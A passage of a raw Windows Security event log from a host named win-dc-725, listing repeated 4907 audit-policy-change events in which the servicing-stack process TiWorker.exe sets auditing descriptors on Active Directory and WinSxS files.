S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247609 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\csvde.dll - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247608 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep.dll - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247607 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\PLA\Rules\en-US\Rules.AD.xml - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247606 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\PLA\Rules\Rules.AD.xml - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247605 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\PLA\Reports\en-US\Report.AD.xml - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247604 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\PLA\Reports\Report.AD.xml - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247603 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\INF\NTDS\0409\ntds.ini - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247602 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\INF\NTDS\0000\ntds.ini - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247601 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\INF\NTDS\ntdsctr.h - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247600 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\INF\DirectoryServices\0409\ntdsctrs.ini - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247599 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\INF\DirectoryServices\0000\ntdsctrs.ini - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247598 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\INF\DirectoryServices\ntdsctr.h - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247597 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\ADWS\en-US\adwsres.dll.mui - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247596 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\ADWS\en\Microsoft.ActiveDirectory.WebServices.shared.resources.dll - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247595 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\ADWS\en\Microsoft.ActiveDirectory.WebServices.resources.dll - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247594 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.shared.dll - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247593 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247592 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\ADWS\adwsres.dll - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247591 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\ProgramData\Microsoft\Event Viewer\Views\ServerRoles\ActiveDirectoryDomainServices.Events.xml - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247590 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_event_viewer_views_serverroles_36b1368cd034c4a0.cdf-ms - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247589 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_programs_administrative_tools_50eba26877c48094.cdf-ms - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247588 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_programs_d672ba09d81e87ff.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247587 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_fde55420546edfe6.cdf-ms - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247586 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_cae2264614449191.cdf-ms - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247585 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_fe5c6d762edd2110.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247584 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata.cdf-ms - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247583 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_adws_en_9ef683327778e99a.cdf-ms - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247582 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_adws_en-us_b35e8e0c695e6d21.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247581 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_adws_40103581a18c1e95.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247580 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_inf_directoryservices_0000_305e975d8b02b78e.cdf-ms - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247579 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_inf_directoryservices_0409_305ea87b8b029dc9.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247578 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_inf_directoryservices_b618ab98d94f9ec8.cdf-ms - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247577 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_inf_ntds_0000_b76570db4564f96c.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change 